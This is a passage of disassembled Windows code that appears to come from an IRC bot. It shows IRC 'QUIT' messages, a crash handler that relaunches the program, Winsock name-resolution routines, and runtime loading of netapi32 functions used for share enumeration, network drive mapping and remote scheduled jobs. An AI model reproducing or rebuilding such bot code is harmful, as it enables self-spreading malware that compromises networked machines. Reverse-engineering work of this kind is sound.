loc_40324C:				; CODE XREF: sub_402A32:loc_402CCEj
		jmp	loc_402CDD
; ---------------------------------------------------------------------------

loc_403251:				; CODE XREF: sub_402A32:loc_402C75j
		jmp	loc_402CDD
; ---------------------------------------------------------------------------

loc_403256:				; CODE XREF: sub_402A32:loc_402B8Ej
		jmp	loc_4030B3
; ---------------------------------------------------------------------------

loc_40325B:				; CODE XREF: sub_402A32+157j
					; sub_402A32+406j ...
		pop	edi
		leave
		retn	4
sub_402A32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403260	proc near		; CODE XREF: sub_40A9CF+959p

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		cmp	[ebp+arg_4], 0
		jnz	short loc_403271
		jmp	locret_403329
; ---------------------------------------------------------------------------

loc_403271:				; CODE XREF: sub_403260+Aj
		push	3AFh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_40328A
		jmp	locret_403329
; ---------------------------------------------------------------------------

loc_40328A:				; CODE XREF: sub_403260+23j
		push	8
		push	7Ah
		push	61h
		push	4
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_410501
		add	esp, 14h
		and	[ebp+eax+var_10], 0
		push	offset dword_418620
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_8], 0
		jnz	short loc_4032BF
		lea	eax, [ebp+var_10]
		mov	[ebp+arg_8], eax

loc_4032BF:				; CODE XREF: sub_403260+57j
		push	104h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_14]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	104h
		push	[ebp+arg_8]
		mov	eax, [ebp+var_14]
		add	eax, 108h
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	[ebp+arg_0]
		mov	eax, [ebp+var_14]
		add	eax, 20Ch
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_14]
		add	eax, 108h
		push	eax
		mov	eax, [ebp+var_14]
		add	eax, 4
		push	eax
		push	offset dword_4185FC
		push	0
		push	[ebp+var_14]
		push	offset sub_402A32
		call	sub_4095A4
		add	esp, 18h

locret_403329:				; CODE XREF: sub_403260+Cj
					; sub_403260+25j
		leave
		retn
sub_403260	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40332B	proc near		; CODE XREF: sub_4093B6+A0p
					; sub_4094E6+9Bp ...

var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 114h
		push	1
		push	offset dword_41DF0C
		call	sub_409C88
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	dword_41DF08, 0
		jz	loc_4034D9
		mov	[ebp+var_8], offset aException_othe ; "EXCEPTION_OTHER"
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_110], eax
		cmp	[ebp+var_110], 0C0000025h
		ja	short loc_4033A4
		cmp	[ebp+var_110], 0C0000025h
		jz	short loc_4033FA
		cmp	[ebp+var_110], 80000003h
		jz	short loc_4033DF
		cmp	[ebp+var_110], 0C0000005h
		jz	short loc_4033D6
		cmp	[ebp+var_110], 0C000001Dh
		jz	short loc_4033E8
		jmp	short loc_403413
; ---------------------------------------------------------------------------

loc_4033A4:				; CODE XREF: sub_40332B+45j
		cmp	[ebp+var_110], 0C000008Dh
		jb	short loc_403413
		cmp	[ebp+var_110], 0C0000093h
		jbe	short loc_40340C
		cmp	[ebp+var_110], 0C0000094h
		jz	short loc_4033F1
		cmp	[ebp+var_110], 0C00000FDh
		jz	short loc_403403
		jmp	short loc_403413
; ---------------------------------------------------------------------------

loc_4033D6:				; CODE XREF: sub_40332B+69j
		mov	[ebp+var_8], offset aException_acce ; "EXCEPTION_ACCESS_VIOLATION"
		jmp	short loc_403413
; ---------------------------------------------------------------------------

loc_4033DF:				; CODE XREF: sub_40332B+5Dj
		mov	[ebp+var_8], offset aException_brea ; "EXCEPTION_BREAKPOINT"
		jmp	short loc_403413
; ---------------------------------------------------------------------------

loc_4033E8:				; CODE XREF: sub_40332B+75j
		mov	[ebp+var_8], offset aException_ille ; "EXCEPTION_ILLEGAL_INSTRUCTION"
		jmp	short loc_403413
; ---------------------------------------------------------------------------

loc_4033F1:				; CODE XREF: sub_40332B+9Bj
		mov	[ebp+var_8], offset aException_int_ ; "EXCEPTION_INT_DIVIDE_BY_ZERO"
		jmp	short loc_403413
; ---------------------------------------------------------------------------

loc_4033FA:				; CODE XREF: sub_40332B+51j
		mov	[ebp+var_8], offset aException_nonc ; "EXCEPTION_NONCONTINUABLE_EXCEPTION"
		jmp	short loc_403413
; ---------------------------------------------------------------------------

loc_403403:				; CODE XREF: sub_40332B+A7j
		mov	[ebp+var_8], offset aException_stac ; "EXCEPTION_STACK_OVERFLOW"
		jmp	short loc_403413
; ---------------------------------------------------------------------------

loc_40340C:				; CODE XREF: sub_40332B+8Fj
		mov	[ebp+var_8], offset aException_flt ; "EXCEPTION_FLT"

loc_403413:				; CODE XREF: sub_40332B+77j
					; sub_40332B+83j ...
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax+4], 1
		jnz	short loc_40342A
		mov	[ebp+var_114], offset aRestarting ; "Restarting"
		jmp	short loc_403434
; ---------------------------------------------------------------------------

loc_40342A:				; CODE XREF: sub_40332B+F1j
		mov	[ebp+var_114], offset aContinuing ; "Continuing"

loc_403434:				; CODE XREF: sub_40332B+FDj
		push	[ebp+var_114]
		push	[ebp+var_8]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		push	dword ptr [eax]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0C0h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0B8h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0C4h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0B4h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+9Ch]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0A0h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0A8h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0ACh]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0A4h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0B0h]
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	offset dword_41864C
		push	offset dword_41DB88
		call	sub_40D4AB
		add	esp, 48h

loc_4034D9:				; CODE XREF: sub_40332B+21j
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, 64h
		jz	short loc_4034ED
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax+4], 1
		jnz	short loc_403558

loc_4034ED:				; CODE XREF: sub_40332B+1B5j
		push	104h
		lea	eax, [ebp+var_10C]
		push	eax
		push	0
		call	dword_41708C	; GetModuleHandleA
		push	eax
		call	dword_417090	; GetModuleFileNameA
		test	eax, eax
		jz	short loc_403545
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_10C]
		push	eax
		push	offset aOpen	; "open"
		push	0
		call	dword_4171D0
		cmp	eax, 20h
		ja	short loc_403538
		push	offset aQuitExitting ; "QUIT :exitting"
		call	sub_40D6CB
		pop	ecx
		jmp	short loc_403543
; ---------------------------------------------------------------------------

loc_403538:				; CODE XREF: sub_40332B+1FEj
		push	offset aQuitRestarting ; "QUIT :restarting"
		call	sub_40D6CB
		pop	ecx

loc_403543:				; CODE XREF: sub_40332B+20Bj
		jmp	short loc_403550
; ---------------------------------------------------------------------------

loc_403545:				; CODE XREF: sub_40332B+1DFj
		push	offset aQuitRestarting ; "QUIT :restarting"
		call	sub_40D6CB
		pop	ecx

loc_403550:				; CODE XREF: sub_40332B:loc_403543j
		push	0
		call	dword_41705C	; ExitProcess

loc_403558:				; CODE XREF: sub_40332B+1C0j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 80000003h
		jnz	short loc_403583
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		mov	eax, [eax+0B8h]
		inc	eax
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx+4]
		mov	[ecx+0B8h], eax
		or	eax, 0FFFFFFFFh
		jmp	short locret_403586
; ---------------------------------------------------------------------------

loc_403583:				; CODE XREF: sub_40332B+238j
		push	1
		pop	eax

locret_403586:				; CODE XREF: sub_40332B+256j
		leave
		retn
sub_40332B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403588	proc near		; DATA XREF: sub_403BD3:loc_403D85o

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= dword	ptr -2Ch
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		cmp	[ebp+arg_8], 0
		jz	short loc_4035E2
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4035BB
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax+4], 2
		jz	short loc_4035BB
		push	273Fh
		call	dword_417234	; WSASetLastError
		mov	eax, 273Fh
		jmp	locret_4038B6
; ---------------------------------------------------------------------------

loc_4035BB:				; CODE XREF: sub_403588+13j
					; sub_403588+1Cj
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax+8], 1
		jz	short loc_4035E2
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax+8], 2
		jz	short loc_4035E2
		push	273Ch
		call	dword_417234	; WSASetLastError
		mov	eax, 273Ch
		jmp	locret_4038B6
; ---------------------------------------------------------------------------

loc_4035E2:				; CODE XREF: sub_403588+Aj
					; sub_403588+3Aj ...
		cmp	[ebp+arg_0], 0
		jnz	loc_4036D6
		push	30h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_34], eax
		cmp	[ebp+var_34], 0
		jnz	short loc_40360D
		push	8
		call	dword_417234	; WSASetLastError
		push	8
		pop	eax
		jmp	locret_4038B6
; ---------------------------------------------------------------------------

loc_40360D:				; CODE XREF: sub_403588+73j
		push	30h
		push	0
		push	[ebp+var_34]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	10h
		push	0
		lea	eax, [ebp+var_30]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_30], 2
		cmp	[ebp+arg_4], 0
		jz	short loc_40364C
		push	[ebp+arg_4]
		call	sub_416B9C	; atoi
		pop	ecx
		push	eax
		call	dword_417238	; htons
		mov	[ebp+var_2E], ax

loc_40364C:				; CODE XREF: sub_403588+AEj
		mov	eax, [ebp+var_34]
		mov	dword ptr [eax+4], 2
		cmp	[ebp+arg_8], 0
		jz	short loc_403667
		mov	eax, [ebp+arg_8]
		mov	eax, [eax+8]
		mov	[ebp+var_38], eax
		jmp	short loc_40366E
; ---------------------------------------------------------------------------

loc_403667:				; CODE XREF: sub_403588+D2j
		mov	[ebp+var_38], 1

loc_40366E:				; CODE XREF: sub_403588+DDj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_38]
		mov	[eax+8], ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_403688
		mov	eax, [ebp+arg_8]
		mov	eax, [eax+0Ch]
		mov	[ebp+var_3C], eax
		jmp	short loc_40368F
; ---------------------------------------------------------------------------

loc_403688:				; CODE XREF: sub_403588+F3j
		mov	[ebp+var_3C], 6

loc_40368F:				; CODE XREF: sub_403588+FEj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_3C]
		mov	[eax+0Ch], ecx
		mov	eax, [ebp+var_34]
		mov	dword ptr [eax+10h], 10h
		mov	eax, [ebp+var_34]
		add	eax, 20h
		mov	ecx, [ebp+var_34]
		mov	[ecx+18h], eax
		and	[ebp+var_2C], 0
		push	10h
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+var_34]
		add	eax, 20h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_34]
		mov	[eax], ecx
		xor	eax, eax
		jmp	locret_4038B6
; ---------------------------------------------------------------------------

loc_4036D6:				; CODE XREF: sub_403588+5Ej
		push	[ebp+arg_0]
		call	dword_41723C	; gethostbyname
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_4036F2
		mov	eax, 2AFBh
		jmp	locret_4038B6
; ---------------------------------------------------------------------------

loc_4036F2:				; CODE XREF: sub_403588+15Ej
		and	[ebp+var_20], 0
		jmp	short loc_4036FF
; ---------------------------------------------------------------------------

loc_4036F8:				; CODE XREF: sub_403588+18Cj
		mov	eax, [ebp+var_20]
		inc	eax
		mov	[ebp+var_20], eax

loc_4036FF:				; CODE XREF: sub_403588+16Ej
		cmp	[ebp+var_14], 0
		jz	short loc_403716
		mov	eax, [ebp+var_14]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+var_20]
		cmp	dword ptr [eax+ecx*4], 0
		jz	short loc_403716
		jmp	short loc_4036F8
; ---------------------------------------------------------------------------

loc_403716:				; CODE XREF: sub_403588+17Bj
					; sub_403588+18Aj
		cmp	[ebp+var_20], 0
		jnz	short loc_403726
		mov	eax, 2AFBh
		jmp	locret_4038B6
; ---------------------------------------------------------------------------

loc_403726:				; CODE XREF: sub_403588+192j
		mov	eax, [ebp+var_20]
		imul	eax, 30h
		push	eax
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jnz	short loc_40374C
		push	8
		call	dword_417234	; WSASetLastError
		push	8
		pop	eax
		jmp	locret_4038B6
; ---------------------------------------------------------------------------

loc_40374C:				; CODE XREF: sub_403588+1B2j
		mov	eax, [ebp+var_20]
		imul	eax, 30h
		push	eax
		push	0
		push	[ebp+var_1C]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	10h
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		cmp	[ebp+arg_4], 0
		jz	short loc_403790
		push	[ebp+arg_4]
		call	sub_416B9C	; atoi
		pop	ecx
		push	eax
		call	dword_417238	; htons
		mov	[ebp+var_E], ax

loc_403790:				; CODE XREF: sub_403588+1F2j
		and	[ebp+var_18], 0
		jmp	short loc_40379D
; ---------------------------------------------------------------------------

loc_403796:				; CODE XREF: sub_403588:loc_4038A7j
		mov	eax, [ebp+var_18]
		inc	eax
		mov	[ebp+var_18], eax

loc_40379D:				; CODE XREF: sub_403588+20Cj
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_20]
		jnb	loc_4038AC
		cmp	[ebp+arg_8], 0
		jz	short loc_4037B9
		mov	eax, [ebp+arg_8]
		mov	eax, [eax]
		mov	[ebp+var_40], eax
		jmp	short loc_4037C0
; ---------------------------------------------------------------------------

loc_4037B9:				; CODE XREF: sub_403588+225j
		mov	[ebp+var_40], 4

loc_4037C0:				; CODE XREF: sub_403588+22Fj
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+var_40]
		mov	[ecx+eax], edx
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		mov	dword ptr [ecx+eax+4], 2
		cmp	[ebp+arg_8], 0
		jz	short loc_4037F1
		mov	eax, [ebp+arg_8]
		mov	eax, [eax+8]
		mov	[ebp+var_44], eax
		jmp	short loc_4037F8
; ---------------------------------------------------------------------------

loc_4037F1:				; CODE XREF: sub_403588+25Cj
		mov	[ebp+var_44], 1

loc_4037F8:				; CODE XREF: sub_403588+267j
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+var_44]
		mov	[ecx+eax+8], edx
		cmp	[ebp+arg_8], 0
		jz	short loc_403819
		mov	eax, [ebp+arg_8]
		mov	eax, [eax+0Ch]
		mov	[ebp+var_48], eax
		jmp	short loc_403820
; ---------------------------------------------------------------------------

loc_403819:				; CODE XREF: sub_403588+284j
		mov	[ebp+var_48], 6

loc_403820:				; CODE XREF: sub_403588+28Fj
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+var_48]
		mov	[ecx+eax+0Ch], edx
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		mov	dword ptr [ecx+eax+10h], 10h
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		lea	eax, [ecx+eax+20h]
		mov	ecx, [ebp+var_18]
		imul	ecx, 30h
		mov	edx, [ebp+var_1C]
		mov	[edx+ecx+18h], eax
		mov	eax, [ebp+var_14]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+var_18]
		mov	eax, [eax+ecx*4]
		mov	eax, [eax]
		mov	[ebp+var_C], eax
		push	10h
		lea	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		lea	eax, [ecx+eax+20h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		cmp	[ebp+var_18], 0
		jz	short loc_4038A7
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		add	ecx, eax
		mov	eax, [ebp+var_18]
		dec	eax
		imul	eax, 30h
		mov	edx, [ebp+var_1C]
		mov	[edx+eax+1Ch], ecx

loc_4038A7:				; CODE XREF: sub_403588+304j
		jmp	loc_403796
; ---------------------------------------------------------------------------

loc_4038AC:				; CODE XREF: sub_403588+21Bj
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_1C]
		mov	[eax], ecx
		xor	eax, eax

locret_4038B6:				; CODE XREF: sub_403588+2Ej
					; sub_403588+55j ...
		leave
		retn	10h
sub_403588	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4038BA	proc near		; DATA XREF: sub_403BD3+1BCo

var_434		= dword	ptr -434h
var_430		= byte ptr -430h
var_410		= dword	ptr -410h
var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= byte ptr -404h
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 434h
		cmp	[ebp+arg_8], 0
		jnz	short loc_4038CF
		cmp	[ebp+arg_10], 0
		jz	short loc_4038D8

loc_4038CF:				; CODE XREF: sub_4038BA+Dj
		mov	eax, [ebp+arg_18]
		and	al, 0E0h
		test	eax, eax
		jz	short loc_4038ED

loc_4038D8:				; CODE XREF: sub_4038BA+13j
		push	2726h
		call	dword_417234	; WSASetLastError
		mov	eax, 2726h
		jmp	locret_403BB9
; ---------------------------------------------------------------------------

loc_4038ED:				; CODE XREF: sub_4038BA+1Cj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_40C], eax
		mov	eax, [ebp+var_40C]
		movsx	eax, word ptr [eax]
		cmp	eax, 2
		jz	short loc_403919
		push	273Fh
		call	dword_417234	; WSASetLastError
		mov	eax, 273Fh
		jmp	locret_403BB9
; ---------------------------------------------------------------------------

loc_403919:				; CODE XREF: sub_4038BA+48j
		cmp	[ebp+arg_8], 0
		jz	loc_403ABA
		mov	eax, [ebp+var_40C]
		push	dword ptr [eax+4]
		call	dword_41721C	; inet_ntoa
		mov	[ebp+var_434], eax
		cmp	[ebp+var_434], 0
		jnz	short loc_403949
		or	eax, 0FFFFFFFFh
		jmp	locret_403BB9
; ---------------------------------------------------------------------------

loc_403949:				; CODE XREF: sub_4038BA+85j
		push	401h
		push	[ebp+var_434]
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		mov	eax, [ebp+arg_18]
		and	eax, 2
		test	eax, eax
		jz	short loc_403972
		jmp	loc_403BB4
; ---------------------------------------------------------------------------

loc_403972:				; CODE XREF: sub_4038BA+B1j
		mov	eax, [ebp+arg_18]
		and	eax, 4
		test	eax, eax
		jz	short loc_4039F4
		push	0
		push	4
		mov	eax, [ebp+var_40C]
		add	eax, 4
		push	eax
		call	dword_417220	; gethostbyaddr
		mov	[ebp+var_410], eax
		cmp	[ebp+var_410], 0
		jnz	short loc_4039AA
		call	dword_417224	; WSAGetLastError
		jmp	locret_403BB9
; ---------------------------------------------------------------------------

loc_4039AA:				; CODE XREF: sub_4038BA+E3j
		mov	eax, [ebp+var_410]
		push	dword ptr [eax]
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		cmp	eax, [ebp+arg_C]
		jbe	short loc_4039D3
		push	2747h
		call	dword_417234	; WSASetLastError
		mov	eax, 2747h
		jmp	locret_403BB9
; ---------------------------------------------------------------------------

loc_4039D3:				; CODE XREF: sub_4038BA+102j
		push	401h
		mov	eax, [ebp+var_410]
		push	dword ptr [eax]
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		jmp	loc_403ABA
; ---------------------------------------------------------------------------

loc_4039F4:				; CODE XREF: sub_4038BA+C0j
		mov	eax, [ebp+arg_18]
		and	eax, 1
		test	eax, eax
		jz	loc_403A92
		mov	eax, [ebp+var_40C]
		cmp	dword ptr [eax+4], 7F000001h
		jz	short loc_403A1D
		mov	eax, [ebp+var_40C]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_403A92

loc_403A1D:				; CODE XREF: sub_4038BA+155j
		push	0
		push	4
		mov	eax, [ebp+var_40C]
		add	eax, 4
		push	eax
		call	dword_417220	; gethostbyaddr
		mov	[ebp+var_410], eax
		cmp	[ebp+var_410], 0
		jnz	short loc_403A4B
		call	dword_417224	; WSAGetLastError
		jmp	locret_403BB9
; ---------------------------------------------------------------------------

loc_403A4B:				; CODE XREF: sub_4038BA+184j
		mov	eax, [ebp+var_410]
		push	dword ptr [eax]
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		cmp	eax, [ebp+arg_C]
		jbe	short loc_403A74
		push	2747h
		call	dword_417234	; WSASetLastError
		mov	eax, 2747h
		jmp	locret_403BB9
; ---------------------------------------------------------------------------

loc_403A74:				; CODE XREF: sub_4038BA+1A3j
		push	401h
		mov	eax, [ebp+var_410]
		push	dword ptr [eax]
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		jmp	short loc_403ABA
; ---------------------------------------------------------------------------

loc_403A92:				; CODE XREF: sub_4038BA+142j
					; sub_4038BA+161j ...
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		cmp	eax, [ebp+arg_C]
		jbe	short loc_403ABA
		push	2747h
		call	dword_417234	; WSASetLastError
		mov	eax, 2747h
		jmp	locret_403BB9
; ---------------------------------------------------------------------------

loc_403ABA:				; CODE XREF: sub_4038BA+63j
					; sub_4038BA+135j ...
		cmp	[ebp+arg_10], 0
		jz	loc_403B99
		push	8
		pop	eax
		test	eax, eax
		jz	short loc_403B2C
		push	0Ah
		lea	eax, [ebp+var_430]
		push	eax
		mov	eax, [ebp+var_40C]
		mov	ax, [eax+2]
		push	eax
		call	dword_417238	; htons
		movzx	eax, ax
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		cmp	eax, [ebp+arg_14]
		jbe	short loc_403B19
		push	2747h
		call	dword_417234	; WSASetLastError
		mov	eax, 2747h
		jmp	locret_403BB9
; ---------------------------------------------------------------------------

loc_403B19:				; CODE XREF: sub_4038BA+248j
		lea	eax, [ebp+var_430]
		push	eax
		push	[ebp+arg_10]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_403B99
; ---------------------------------------------------------------------------

loc_403B2C:				; CODE XREF: sub_4038BA+20Fj
		mov	eax, [ebp+arg_18]
		and	eax, 10h
		neg	eax
		sbb	eax, eax
		and	eax, offset aUdp ; "udp"
		push	eax
		mov	eax, [ebp+var_40C]
		movzx	eax, word ptr [eax+2]
		push	eax
		call	dword_417228	; getservbyport
		mov	[ebp+var_408], eax
		cmp	[ebp+var_408], 0
		jnz	short loc_403B61
		or	eax, 0FFFFFFFFh
		jmp	short locret_403BB9
; ---------------------------------------------------------------------------

loc_403B61:				; CODE XREF: sub_4038BA+2A0j
		mov	eax, [ebp+var_408]
		push	dword ptr [eax]
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		cmp	eax, [ebp+arg_14]
		jbe	short loc_403B87
		push	2747h
		call	dword_417234	; WSASetLastError
		mov	eax, 2747h
		jmp	short locret_403BB9
; ---------------------------------------------------------------------------

loc_403B87:				; CODE XREF: sub_4038BA+2B9j
		mov	eax, [ebp+var_408]
		push	dword ptr [eax]
		push	[ebp+arg_10]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_403B99:				; CODE XREF: sub_4038BA+204j
					; sub_4038BA+270j
		cmp	[ebp+arg_8], 0
		jz	short loc_403BB0
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+arg_8]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_403BB0:				; CODE XREF: sub_4038BA+2E3j
		xor	eax, eax
		jmp	short locret_403BB9
; ---------------------------------------------------------------------------

loc_403BB4:				; CODE XREF: sub_4038BA+B3j
		jmp	loc_403A92
; ---------------------------------------------------------------------------

locret_403BB9:				; CODE XREF: sub_4038BA+2Ej
					; sub_4038BA+5Aj ...
		leave
		retn	1Ch
sub_4038BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403BBD	proc near		; DATA XREF: sub_403BD3+1C6o

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 0
		jz	short loc_403BCF
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx

loc_403BCF:				; CODE XREF: sub_403BBD+7j
		pop	ebp
		retn	4
sub_403BBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403BD3	proc near		; CODE XREF: sub_4167F1:loc_4168BCp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	offset aKernel32_dll ; "kernel32.dll"
		call	dword_417054	; LoadLibraryA
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_403C00
		push	offset aInitializecrit ; "InitializeCriticalSectionAndSpinCount"
		push	[ebp+var_C]
		call	dword_417058	; GetProcAddress
		mov	dword_41DF10, eax

loc_403C00:				; CODE XREF: sub_403BD3+18j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	dword_417054	; LoadLibraryA
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jz	loc_403CC3
		push	offset aNetusegetinfo ;	"NetUseGetInfo"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DF18, eax
		push	offset aNetuseadd ; "NetUseAdd"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DF1C, eax
		push	offset aNetusedel ; "NetUseDel"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DF20, eax
		push	offset aNetuserenum ; "NetUserEnum"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DF24, eax
		push	offset aNetshareenum ; "NetShareEnum"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DF28, eax
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DF2C, eax
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DF30, eax
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DF34, eax
		push	offset aNetaddalternat ; "NetAddAlternateComputerName"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DF38, eax

loc_403CC3:				; CODE XREF: sub_403BD3+3Fj
